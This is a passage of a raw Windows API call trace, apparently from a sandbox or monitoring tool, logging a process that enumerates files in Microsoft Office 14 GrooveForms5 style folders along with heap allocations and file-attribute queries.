Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.580] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.580] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.580] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f278 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040b38 [0069.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.581] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f298 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040c40 [0069.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.581] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.581] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.581] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.582] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.582] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.582] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f2b8 [0069.582] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040d48 [0069.582] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.582] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.582] GetLastError () returned 0x12 [0069.582] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.582] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.582] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.582] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1afa, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.582] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.582] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.582] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.582] GetLastError () returned 0x12 [0069.582] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.582] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.582] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.582] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.583] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8f7a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcd8f7a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.css", cAlternateFileName="")) returned 1 [0069.583] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions", cAlternateFileName="")) returned 1 [0069.583] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.583] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0069.584] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x1075290 [0069.584] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1075290, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1075290, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.584] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1075290) returned 1 [0069.584] NtClose (Handle=0x190) returned 0x0 [0069.584] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.584] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.584] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.584] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.586] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.586] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow.png", cAlternateFileName="")) returned 1 [0069.586] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f2d8 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040e50 [0069.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.587] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x931, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document.gif", cAlternateFileName="")) returned 1 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.587] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.587] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f2f8 [0069.588] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1040f58 [0069.588] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x832, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gradient.png", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Main.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Person.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 0 [0069.588] GetLastError () returned 0x12 [0069.588] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.588] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow.png", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x931, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x832, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gradient.png", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Main.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Person.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 1 [0069.588] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 0 [0069.588] GetLastError () returned 0x12 [0069.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.589] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.589] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.589] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions.css", cAlternateFileName="")) returned 1 [0069.589] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Doc.css", cAlternateFileName="")) returned 1 [0069.590] FindNextFileW (in: hFindFile=0x60d120, 